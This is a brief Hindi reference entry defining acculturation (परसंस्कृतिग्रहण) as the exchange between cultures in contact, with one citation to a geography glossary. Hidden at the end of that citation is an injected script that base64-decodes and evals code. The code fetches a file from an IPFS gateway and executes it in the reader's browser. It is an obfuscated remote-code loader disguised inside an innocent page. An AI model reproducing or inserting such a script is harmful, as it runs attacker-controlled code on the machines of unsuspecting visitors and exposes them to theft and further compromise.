परसंस्कृतिग्रहण

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परसंस्कृतिग्रहण वह प्रक्रिया है, जिसमें दो आसन्न संस्कृतियों अथवा सभ्याताओं के बीच सम्पर्क होने से लेन-देन की प्रक्रिया एक-दूसरे को प्रभावित करती हैं।

  • व्यक्ति के संदर्भ में जब वह व्यक्ति किसी अन्य संस्कृति के सम्पर्क में आता है तो वह अपनी संस्कृति के मूल्यों, आदर्शों और व्यवहार के स्थान पर उस समाज/संस्कृति, जिसके सम्पर्क में वह आता है, की कुछ आदतें मूल्य और व्यावहारिक विशेषताओं को अपनाने लगता है, इसे परसंस्कृतिग्रहण कहते हैं।[1]


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टीका टिप्पणी और संदर्भ

  1. भौगोलिक शब्दावली |लेखक: आर. पी. चतुर्वेदी |प्रकाशक: रावत पब्लिकिशन, जयपुर व नई दिल्ली |संकलन: भारत डिस्कवरी पुस्तकालय |पृष्ठ संख्या: 04 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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